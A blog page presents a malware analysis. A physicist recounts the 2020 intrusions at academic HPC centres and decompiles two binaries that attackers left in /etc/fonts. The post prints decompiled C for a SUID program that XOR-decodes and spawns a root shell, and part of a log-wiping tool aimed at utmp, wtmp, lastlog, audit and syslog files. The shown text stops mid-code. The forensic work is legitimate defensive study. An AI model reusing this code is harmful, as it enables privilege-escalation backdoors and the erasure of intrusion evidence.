<!DOCTYPE html>
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<link href='https://www.blogger.com/static/v1/widgets/1324390690-widget_css_bundle.css' rel='stylesheet' type='text/css'/>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
<meta content='blogger' name='generator'/>
<link href='https://atdotde.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>
<link href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html' rel='canonical'/>
<link rel="alternate" type="application/atom+xml" title="atdotde - Atom" href="https://atdotde.blogspot.com/feeds/posts/default" />
<link rel="alternate" type="application/rss+xml" title="atdotde - RSS" href="https://atdotde.blogspot.com/feeds/posts/default?alt=rss" />
<link rel="service.post" type="application/atom+xml" title="atdotde - Atom" href="https://www.blogger.com/feeds/8883034/posts/default" />

<link rel="alternate" type="application/atom+xml" title="atdotde - Atom" href="https://atdotde.blogspot.com/feeds/8583103985111654027/comments/default" />
<!--Can't find substitution for tag [blog.ieCssRetrofitLinks]-->
<meta content='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html' property='og:url'/>
<meta content='High Performance Hackers' property='og:title'/>
<meta content='In the last few days, there was news that several big academic high performance computing centers had been hacked. Here in Munich, LRZ, the ...' property='og:description'/>
<!--[if IE]> <script> (function() { var html5 = ("abbr,article,aside,audio,canvas,datalist,details," + "figure,footer,header,hgroup,mark,menu,meter,nav,output," + "progress,section,time,video").split(','); for (var i = 0; i < html5.length; i++) { document.createElement(html5[i]); } try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} })(); </script> <![endif]-->
<title>atdotde: High Performance Hackers</title>
<style id='page-skin-1' type='text/css'><!--
/*
Blogger Template Style
Name:     TicTac
Author:   Dan Cederholm
URL:      www.simplebits.com
Date:     1 March 2004
Updated by: Blogger Team
*/
/* Variable definitions
====================
<Variable name="textcolor" description="Text Color"
type="color" default="#333">
<Variable name="pagetitlecolor" description="Page Header Color"
type="color" default="#FFF">
<Variable name="datecolor" description="Date Header Color"
type="color" default="#f93">
<Variable name="titlecolor" description="Post Title Color"
type="color" default="#f63">
<Variable name="footercolor" description="Post Footer Color"
type="color" default="#999">
<Variable name="sidebartextcolor" description="Sidebar Text Color"
type="color" default="#999">
<Variable name="sidebarcolor" description="Sidebar Title Color"
type="color" default="#666">
<Variable name="linkcolor" description="Link Color"
type="color" default="#69c">
<Variable name="visitedlinkcolor" description="Visited Link Color"
type="color" default="#666699">
<Variable name="bodyfont" description="Text Font"
type="font"
default="normal normal 100% Verdana, sans-serif">
<Variable name="pagetitlefont" description="Page Header Font"
type="font" default="normal normal 100% 'Lucida Grande','Trebuchet MS'">
<Variable name="titlefont" description="Post Title Font"
type="font" default="normal bold 130% 'Lucida Grande','Trebuchet MS'">
<Variable name="sidebarheaderfont" description="Sidebar Title Font"
type="font" default="normal bold 130% 'Lucida Grande','Trebuchet MS'">
<Variable name="startSide" description="Start side in blog language"
type="automatic" default="left">
<Variable name="endSide" description="End side in blog language"
type="automatic" default="right">
*/
/* ---( page defaults )--- */
body {
margin: 0;
padding: 0;
font-size: small;
text-align: center;
color: #333333;
background: url(https://lh6.googleusercontent.com/proxy/qgRXgWfKW0y3Wv7tIlzbyOFUOiwhgR02MVPUkfPIOGB5I1lrviqufo8XgPyaU8WeX0SqkRpEO7FVmOe4FEh_Fs5L=s0-d) left top;
}
blockquote {
margin-top: 0;
margin-right: 0;
margin-bottom: 0;
margin-left: 30px;
padding-top: 10px;
padding-right: 0;
padding-bottom: 0;
padding-left: 20px;
font-size: 88%;
line-height: 1.5em;
color: #666;
background: url(//www.blogblog.com/tictac/quotes.gif) no-repeat top left;
}
blockquote p {
margin-top: 0;
}
abbr, acronym {
cursor: help;
font-style: normal;
border-bottom: 1px dotted;
}
code {
color: #f63;
}
hr {
display: none;
}
img {
border: none;
}
/* unordered list style */
ul {
list-style: none;
margin-left: 10px;
padding: 0;
}
li {
list-style: none;
padding-left: 14px;
margin-bottom: 3px;
background: url(//www.blogblog.com/tictac/tictac_orange.gif) no-repeat left 6px;
}
/* links */
a:link {
color: #6699cc;
}
a:visited {
color: #666699;
}
a:hover {
color: #693;
}
a:active {
color: #cc3333;
text-decoration: none;
}
/* ---( layout structure )---*/
#outer-wrapper {
width: 847px;
margin: 0px auto 0;
text-align: left;
font: normal normal 100% Verdana, sans-serif;
background: url(//www.blogblog.com/tictac/tile_left.gif) repeat-y;
}
#content-wrapper {
margin-left: 42px; /* to avoid the border image */
width: 763px;
}
#main {
float: left;
width: 460px;
margin-top: 20px;
margin-right: 0;
margin-bottom: 0;
margin-left: 0;
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
padding-left: 1em;
line-height: 1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden;     /* fix for long non-text content breaking IE sidebar float */
}
#sidebar {
float: right;
width: 259px;
padding-top: 20px;
padding-right: 0px;
padding-bottom: 0;
padding-left: 0;
font-size: 85%;
line-height: 1.4em;
color: #999999;
background: #e0e0e0;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden;     /* fix for long non-text content breaking IE sidebar float */
}
/* ---( header and site name )--- */
#header-wrapper {
margin: 0;
padding: 0;
font: normal normal 100% 'Lucida Grande','Trebuchet MS';
background: #e0e0e0 url(//www.blogblog.com/tictac/top_div_left.gif) no-repeat left top;
}
#header {
margin: 0;
padding-top: 25px;
padding-right: 60px;
padding-bottom: 35px;
padding-left: 160px;
color: #FFFFFF;
background: url(//www.blogblog.com/tictac/top_h1.gif) no-repeat bottom left;
}
#header h1 {
font-size: 200%;
text-shadow: #81A75B 2px 2px 2px;
}
#header h1 a {
text-decoration: none;
color: #FFFFFF;
}
#header h1 a:hover {
color: #eee;
}
/* ---( main column )--- */
h2.date-header {
margin-top: 0;
padding-left: 14px;
font-size: 90%;
color: #ff9933;
background: url(//www.blogblog.com/tictac/date_icon.gif) no-repeat left 50%;
}
.post h3 {
margin-top: 0;
font: normal bold 130% 'Lucida Grande','Trebuchet MS';
letter-spacing: -1px;
color: #ff6633;
}
.post {
margin-top: 0;
margin-right: 0;
margin-bottom: 1.5em;
margin-left: 0;
padding-top: 0;
padding-right: 0;
padding-bottom: 1.5em;
padding-left: 14px;
border-bottom: 1px solid #ddd;
}
.post h3 a,
.post h3 a:visited {
color: #ff6633;
text-decoration: none;
}
.post-footer {
margin: 0;
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
padding-left: 14px;
font-size: 88%;
color: #999999;
background: url(//www.blogblog.com/tictac/tictac_grey.gif) no-repeat left 8px;
}
.post img {
padding: 6px;
border-top: 1px solid #ddd;
border-left: 1px solid #ddd;
border-bottom: 1px solid #c0c0c0;
border-right: 1px solid #c0c0c0;
}
.feed-links {
clear: both;
line-height: 2.5em;
}
#blog-pager-newer-link {
float: left;
}
#blog-pager-older-link {
float: right;
}
#blog-pager {
text-align: center;
}
/* comment styles */
#comments {
padding-top: 10px;
font-size: 85%;
line-height: 1.5em;
color: #666;
background: #eee url(//www.blogblog.com/tictac/comments_curve.gif) no-repeat top left;
}
#comments h4 {
margin-top: 20px;
margin-right: 0;
margin-bottom: 15px;
margin-left: 0;
padding-top: 8px;
padding-right: 0;
padding-bottom: 0;
padding-left: 40px;
font-family: "Lucida Grande", "Trebuchet MS";
font-size: 130%;
color: #666;
background: url(//www.blogblog.com/tictac/bubbles.gif) no-repeat 10px 0;
height: 29px !important; /* for most browsers */
height /**/:37px; /* for IE5/Win */
}
#comments ul {
margin-left: 0;
}
#comments li {
background: none;
padding-left: 0;
}
.comment-body {
padding-top: 0;
padding-right: 10px;
padding-bottom: 0;
padding-left: 25px;
background: url(//www.blogblog.com/tictac/tictac_orange.gif) no-repeat 10px 5px;
}
.comment-body p {
margin-bottom: 0;
}
.comment-author {
margin-top: 4px;
margin-right: 0;
margin-bottom: 0;
margin-left: 0;
padding-top: 0;
padding-right: 10px;
padding-bottom: 0;
padding-left: 60px;
color: #999;
background: url(//www.blogblog.com/tictac/comment_arrow.gif) no-repeat 44px 2px;
}
.comment-footer {
border-bottom: 1px solid #ddd;
padding-bottom: 1em;
}
.deleted-comment {
font-style:italic;
color:gray;
}
/* ---( sidebar )--- */
.sidebar h2 {
margin-top: 0;
margin-right: 0;
margin-bottom: 0;
margin-left: 0;
padding-top: 25px;
padding-right: 0;
padding-bottom: 0;
padding-left: 40px;
font: normal bold 130% 'Lucida Grande','Trebuchet MS';
color: #666666;
height: 32px;
background: url(//www.blogblog.com/tictac/sidebar_icon.gif) no-repeat 10px 15px;
height: 32px !important; /* for most browsers */
height /**/:57px; /* for IE5/Win */
}
.sidebar .widget {
margin: 0;
padding-top: 0;
padding-right: 0;
padding-bottom: 10px;
padding-left: 10px;
border-bottom: 1px solid #ddd;
}
.sidebar li {
background: url(//www.blogblog.com/tictac/tictac_green.gif) no-repeat left 5px;
}
.profile-textblock {
clear: both;
margin-left: 0;
}
.profile-img {
float: left;
margin-top: 0;
margin-right: 5px;
margin-bottom: 5px;
margin-left: 0;
border: 1px solid #ddd;
padding: 4px;
}
/* ---( footer )--- */
.clear { /* to fix IE6 padding-top issue */
clear: both;
}
#footer-wrapper {
margin: 0;
padding-top: 0;
padding-right: 0;
padding-bottom: 9px;
padding-left: 0;
font-size: 85%;
color: #ddd;
background: url(//www.blogblog.com/tictac/bottom_sill.gif) no-repeat bottom left;
}
#footer {
margin: 0;
padding-top: 20px;
padding-right: 320px;
padding-bottom: 20px;
padding-left: 95px;
background: url(//www.blogblog.com/tictac/bottom_sash_left.gif) no-repeat top left;
}
/** Page structure tweaks for layout editor wireframe */
body#layout #outer-wrapper,
body#layout #main,
body#layout #sidebar {
padding-top: 0;
margin-top: 0;
}
body#layout #outer-wrapper,
body#layout #content-wrapper {
width: 740px;
}
body#layout #sidebar {
margin-right: 0;
margin-bottom: 1em;
}
body#layout #header,
body#layout #footer,
body#layout #main {
padding: 0;
}
body#layout #content-wrapper {
margin: 0px;
}

--></style>
<script src='https://polyfill.io/v3/polyfill.min.js?features=es6'></script>
<script async='async' id='MathJax-script' src='https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js'>

MathJax.Hub.Config({
 extensions: ["tex2jax.js","TeX/AMSmath.js","TeX/AMSsymbols.js"],
 jax: ["input/TeX", "output/HTML-CSS"],
 tex2jax: {
     inlineMath: [ ['$','$'], ["\\(","\\)"] ],
     displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
 },
 "HTML-CSS": { availableFonts: ["TeX"] }
});
</script>
<link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=8883034&amp;zx=316b14a4-afc9-4aeb-b8a7-4c038e8b5fd5' media='none' onload='if(media!=&#39;all&#39;)media=&#39;all&#39;' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=8883034&amp;zx=316b14a4-afc9-4aeb-b8a7-4c038e8b5fd5' rel='stylesheet'/></noscript>
<meta name='google-adsense-platform-account' content='ca-host-pub-1556223355139109'/>
<meta name='google-adsense-platform-domain' content='blogspot.com'/>

<script type="text/javascript" language="javascript">
  // Supply ads personalization default for EEA readers
  // See https://www.blogger.com/go/adspersonalization
  adsbygoogle = window.adsbygoogle || [];
  if (typeof adsbygoogle.requestNonPersonalizedAds === 'undefined') {
    adsbygoogle.requestNonPersonalizedAds = 1;
  }
</script>


</head>
<body>
<div class='navbar section' id='navbar'><div class='widget Navbar' data-version='1' id='Navbar1'><script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener('load',
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
  </script>
<div id="navbar-iframe-container"></div>
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<script type="text/javascript">
      gapi.load("gapi.iframes:gapi.iframes.style.bubble", function() {
        if (gapi.iframes && gapi.iframes.getContext) {
          gapi.iframes.getContext().openChild({
              url: 'https://www.blogger.com/navbar.g?targetBlogID\x3d8883034\x26blogName\x3datdotde\x26publishMode\x3dPUBLISH_MODE_BLOGSPOT\x26navbarType\x3dBLUE\x26layoutType\x3dLAYOUTS\x26searchRoot\x3dhttps://atdotde.blogspot.com/search\x26blogLocale\x3den\x26v\x3d2\x26homepageUrl\x3dhttps://atdotde.blogspot.com/\x26targetPostID\x3d8583103985111654027\x26blogPostOrPageUrl\x3dhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\x26vt\x3d9138603023558729671',
              where: document.getElementById("navbar-iframe-container"),
              id: "navbar-iframe"
          });
        }
      });
    </script><script type="text/javascript">
(function() {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = '//pagead2.googlesyndication.com/pagead/js/google_top_exp.js';
var head = document.getElementsByTagName('head')[0];
if (head) {
head.appendChild(script);
}})();
</script>
</div></div>
<div id='outer-wrapper'><div id='wrap2'>
<!-- skip links for text browsers -->
<span id='skiplinks' style='display:none;'>
<a href='#main'>skip to main </a> |
      <a href='#sidebar'>skip to sidebar</a>
</span>
<div id='header-wrapper'>
<div class='header section' id='header'><div class='widget Header' data-version='1' id='Header1'>
<div id='header-inner'>
<div class='titlewrapper'>
<h1 class='title'>
<a href='https://atdotde.blogspot.com/'>
atdotde
</a>
</h1>
</div>
<div class='descriptionwrapper'>
<p class='description'><span>What comes to my mind. Physics, politics, computers, rants. All CC-BY-SA unless otherwise stated.</span></p>
</div>
</div>
</div></div>
</div>
<div id='content-wrapper'>
<div id='crosscol-wrapper' style='text-align:center'>
<div class='crosscol no-items section' id='crosscol'></div>
</div>
<div id='main-wrapper'>
<div class='main section' id='main'><div class='widget Blog' data-version='1' id='Blog1'>
<div class='blog-posts hfeed'>

          <div class="date-outer">
        
<h2 class='date-header'><span>Saturday, May 16, 2020</span></h2>

          <div class="date-posts">
        
<div class='post-outer'>
<div class='post hentry'>
<a name='8583103985111654027'></a>
<h3 class='post-title entry-title'>
<a href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html'>High Performance Hackers</a>
</h3>
<div class='post-header-line-1'></div>
<div class='post-body entry-content'>
In the last few days, there was news that several big academic high performance computing centers had been hacked. Here in Munich, LRZ, the Leibniz Rechenzentrum was affected but apparently also computers at the LMU faculty of physics (there are a few clusters in the institute's basement). You could hear that it were Linux systems that were compromised and the attackers left files in /etc/fonts.<!-- HTML generated using hilite.me --><br />
<br />
I could not resist and also looked for these files and indeed found those on one of the servers:<br />
<br />
<pre>helling@hostname:~$ cd /etc/fonts/
helling@hostname:/etc/fonts$ ls -la
total 52
drwxr-xr-x   4 root root  4096 Apr  5  2018 .
drwxr-xr-x 140 root root 12288 May 14 10:07 ..
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.avail
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.d
-rwsr-sr-x   1 root root  6256 Apr  5  2018 .fonts
-rw-r--r--   1 root root  2582 Apr  5  2018 fonts.conf
-rwxr-xr-x   1 root root 15136 Apr  5  2018 .low
</pre>
<br />
Uhoh, a dot-file with SUID root?!? I had an evening to spare so I could finally find out if I can use some of the forensic tools, that are around. As everybody know, the most important one is "strings". But neither strings .fonts nor strings .low revealed anything interesting about those programs. So we need some heavier lifting. I chose <a href="https://ghidra-sre.org/">ghidra</a>&nbsp;(thanks NSA for that) as my decompiler.<br />
<br />
Let's look at .fonts (the suid one) first. It consists of one central function that I called runbash. Here is what I got after some renaming of symbols:<br />
<br />
<br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333399; font-weight: bold;">void</span> <span style="color: #0066bb; font-weight: bold;">runbash</span>(<span style="color: #333399; font-weight: bold;">void</span>)

{
  <span style="color: #333399; font-weight: bold;">char</span> arguments [<span style="color: #0000dd; font-weight: bold;">4</span>];
  <span style="color: #333399; font-weight: bold;">char</span> command [<span style="color: #0000dd; font-weight: bold;">9</span>];
  <span style="color: #333399; font-weight: bold;">int</span> i;
  
  command[<span style="color: #0000dd; font-weight: bold;">0</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'N'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">1</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\0'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">2</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\n'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">3</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\n'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">4</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'J'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">5</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x04'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">6</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x06'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">7</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x1b'</span>;
  command[<span style="color: #0000dd; font-weight: bold;">8</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x01'</span>;
  i <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>;
  <span style="color: #008800; font-weight: bold;">while</span> (i <span style="color: #333333;"><span style="caret-color: rgb(51, 51, 51);">&lt;</span></span> <span style="color: #0000dd; font-weight: bold;">9</span>) {
    command[i] <span style="color: #333333;">=</span> command[i] <span style="color: #333333;">^</span> (<span style="color: #333399; font-weight: bold;">char</span>)i <span style="color: #333333;">+</span> <span style="color: #005588; font-weight: bold;">0x61U</span>;
    i <span style="color: #333333;">=</span> i <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
  }
  arguments[<span style="color: #0000dd; font-weight: bold;">0</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x03'</span>;
  arguments[<span style="color: #0000dd; font-weight: bold;">1</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x03'</span>;
  arguments[<span style="color: #0000dd; font-weight: bold;">2</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\x10'</span>;
  arguments[<span style="color: #0000dd; font-weight: bold;">3</span>] <span style="color: #333333;">=</span> <span style="color: #0044dd;">'\f'</span>;
  i <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>;
  <span style="color: #008800; font-weight: bold;">while</span> (i <span style="color: #333333;"><span style="caret-color: rgb(51, 51, 51);">&lt;</span></span> <span style="color: #0000dd; font-weight: bold;">4</span>) {
    arguments[i] <span style="color: #333333;">=</span> arguments[i] <span style="color: #333333;">^</span> (<span style="color: #333399; font-weight: bold;">char</span>)i <span style="color: #333333;">+</span> <span style="color: #005588; font-weight: bold;">0x61U</span>;
    i <span style="color: #333333;">=</span> i <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
  }
  setgid(<span style="color: #0000dd; font-weight: bold;">0</span>);
  setuid(<span style="color: #0000dd; font-weight: bold;">0</span>);
  execl(command,arguments,<span style="color: #0000dd; font-weight: bold;">0</span>);
  <span style="color: #008800; font-weight: bold;">return</span>;
}
</pre>
</div>
<div>
<br /></div>
<!-- HTML generated using hilite.me -->There are two strings, command and arguments and first there is some xoring with a loop variable going on. I ran that as a separate C program and what it produces is that command ends up as "/bin/bash" and arguments as "bash". So, all this program does is it starts a root shell. And indeed it does (i tried it on the server, of course it has been removed since then).<br />
<br />
The second program, .low, is a bit longer. It has a main function that mainly deals with command line options depending on which it calls one of three functions that I termed machmitfile(), machshitmitfile() and writezerosinfile() which all take a file name as argument and modify those files by removing lines or overwriting stuff with zeros or doing some other rewriting that I did not analyse in detail:<br />
<br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">/* WARNING: Could not reconcile some variable overlaps */</span>

ulong <span style="color: #0066bb; font-weight: bold;">main</span>(<span style="color: #333399; font-weight: bold;">int</span> argc, <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">**</span> argv)

{
  <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> __s1;
  <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> pcVar1;
  <span style="color: #333399; font-weight: bold;">bool</span> opbh;
  <span style="color: #333399; font-weight: bold;">bool</span> optw;
  <span style="color: #333399; font-weight: bold;">bool</span> optb;
  <span style="color: #333399; font-weight: bold;">bool</span> optl;
  <span style="color: #333399; font-weight: bold;">bool</span> optm;
  <span style="color: #333399; font-weight: bold;">bool</span> opts;
  <span style="color: #333399; font-weight: bold;">bool</span> opta;
  <span style="color: #333399; font-weight: bold;">int</span> numberarg;
  <span style="color: #333399; font-weight: bold;">char</span> uitistgleich[<span style="color: #0000dd; font-weight: bold;">40</span>];
  passwd <span style="color: #333333;">*</span> password;
  <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> local_68;
  <span style="color: #333399; font-weight: bold;">char</span> opt;
  uint local_18;
  uint retval;
  <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> filename;

  scramble( <span style="color: #333333;">&amp;</span>UTMP, <span style="color: #005588; font-weight: bold;">0xd</span>);
  scramble( <span style="color: #333333;">&amp;</span>WTMP, <span style="color: #005588; font-weight: bold;">0xd</span>);
  scramble( <span style="color: #333333;">&amp;</span>BTMP, <span style="color: #005588; font-weight: bold;">0xd</span>);
  scramble( <span style="color: #333333;">&amp;</span>LASTLOG, <span style="color: #005588; font-weight: bold;">0x10</span>);
  scramble( <span style="color: #333333;">&amp;</span>MESSAGES, <span style="color: #005588; font-weight: bold;">0x11</span>);
  scramble( <span style="color: #333333;">&amp;</span>SECURE, <span style="color: #005588; font-weight: bold;">0xf</span>);
  scramble( <span style="color: #333333;">&amp;</span>WARN, <span style="color: #005588; font-weight: bold;">0xd</span>);
  scramble( <span style="color: #333333;">&amp;</span>DEBUG, <span style="color: #005588; font-weight: bold;">0xe</span>);
  scramble( <span style="color: #333333;">&amp;</span>AUDIT0, <span style="color: #005588; font-weight: bold;">0x18</span>);
  scramble( <span style="color: #333333;">&amp;</span>AUDIT1, <span style="color: #005588; font-weight: bold;">0x1a</span>);
  scramble( <span style="color: #333333;">&amp;</span>AUDIT2, <span style="color: #005588; font-weight: bold;">0x1a</span>);
  scramble( <span style="color: #333333;">&amp;</span>AUTHLOG, <span style="color: #005588; font-weight: bold;">0x11</span>);
  scramble( <span style="color: #333333;">&amp;</span>HISTORY, <span style="color: #005588; font-weight: bold;">0x1b</span>);
  scramble( <span style="color: #333333;">&amp;</span>AUTHPRIV, <span style="color: #005588; font-weight: bold;">0x11</span>);
  scramble( <span style="color: #333333;">&amp;</span>DEAMONLOG, <span style="color: #005588; font-weight: bold;">0x13</span>);
  scramble( <span style="color: #333333;">&amp;</span>SYSLOG, <span style="color: #005588; font-weight: bold;">0xf</span>);
  scramble( <span style="color: #333333;">&amp;</span>ACHTdPROZENTs, <span style="color: #0000dd; font-weight: bold;">7</span>);
  scramble( <span style="color: #333333;">&amp;</span>OPTOPTS, <span style="color: #005588; font-weight: bold;">0xb</span>);
  scramble( <span style="color: #333333;">&amp;</span>UIDISPROZD, <span style="color: #0000dd; font-weight: bold;">7</span>);
  scramble( <span style="color: #333333;">&amp;</span>ERRORARGSEXIT, <span style="color: #005588; font-weight: bold;">0x11</span>);
  scramble( <span style="color: #333333;">&amp;</span>ROOT, <span style="color: #0000dd; font-weight: bold;">4</span>);
  filename <span style="color: #333333;">=</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>;
  local_18 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>;
  opbh <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  optw <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  optb <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  optl <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  optm <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  opts <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  opta <span style="color: #333333;">=</span> <span style="color: #007020;">false</span>;
  now <span style="color: #333333;">=</span> time((<span style="color: #333399; font-weight: bold;">time_t</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>);
  <span style="color: #008800; font-weight: bold;">while</span> (_opt <span style="color: #333333;">=</span> getopt(argc, argv, <span style="color: #333333;">&amp;</span> OPTOPTS), _opt <span style="color: #333333;">!=</span> <span style="color: #333333;">-</span><span style="color: #0000dd; font-weight: bold;">1</span>) {
    <span style="color: #008800; font-weight: bold;">switch</span> (_opt) {
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x61</span>:
      opta <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x62</span>:
      optb <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #997700; font-weight: bold;">default:</span>
      printmessage();
      <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
      exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x66</span>:
      filename <span style="color: #333333;">=</span> optarg;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x68</span>:
      opbh <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x6c</span>:
      optl <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x6d</span>:
      optm <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x73</span>:
      opts <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x74</span>:
      local_18 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
      numberarg <span style="color: #333333;">=</span> atoi(optarg);
      <span style="color: #008800; font-weight: bold;">if</span> (numberarg <span style="color: #333333;">!=</span> <span style="color: #0000dd; font-weight: bold;">0</span>) {
        numberarg <span style="color: #333333;">=</span> atoi(optarg);
        now <span style="color: #333333;">=</span> (<span style="color: #333399; font-weight: bold;">time_t</span>) numberarg;
        <span style="color: #008800; font-weight: bold;">if</span> ((<span style="color: #0000dd; font-weight: bold;">0</span> <span style="color: #333333;">&lt;</span> now) <span style="color: #333333;">&amp;&amp;</span> (now <span style="color: #333333;">&lt;</span> <span style="color: #005588; font-weight: bold;">0x834</span>)) {
          now <span style="color: #333333;">=</span> settime();
        }
      }
      <span style="color: #008800; font-weight: bold;">break</span>;
    <span style="color: #008800; font-weight: bold;">case</span> <span style="color: #005588; font-weight: bold;">0x77</span>:
      optw <span style="color: #333333;">=</span> <span style="color: #007020;">true</span>;
    }
  }
  <span style="color: #008800; font-weight: bold;">if</span> (((((<span style="color: #333333;">!</span>opbh) <span style="color: #333333;">&amp;&amp;</span> (<span style="color: #333333;">!</span>optw)) <span style="color: #333333;">&amp;&amp;</span> (<span style="color: #333333;">!</span>optb)) <span style="color: #333333;">&amp;&amp;</span> ((<span style="color: #333333;">!</span>optl <span style="color: #333333;">&amp;&amp;</span> (<span style="color: #333333;">!</span>optm)))) <span style="color: #333333;">&amp;&amp;</span> ((<span style="color: #333333;">!</span>opts <span style="color: #333333;">&amp;&amp;</span> (<span style="color: #333333;">!</span>opta)))) {
    printmessage();
  }
  <span style="color: #008800; font-weight: bold;">if</span> (opbh) {
    <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>) {
      printmessage();
      <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
      exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
    }
    <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
      filename <span style="color: #333333;">=</span> <span style="color: #333333;">&amp;</span> UTMP;
    }
    retval <span style="color: #333333;">=</span> machmitfile(filename, argv[optind], argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>], (ulong) local_18);
  } <span style="color: #008800; font-weight: bold;">else</span> {
    <span style="color: #008800; font-weight: bold;">if</span> (optw) {
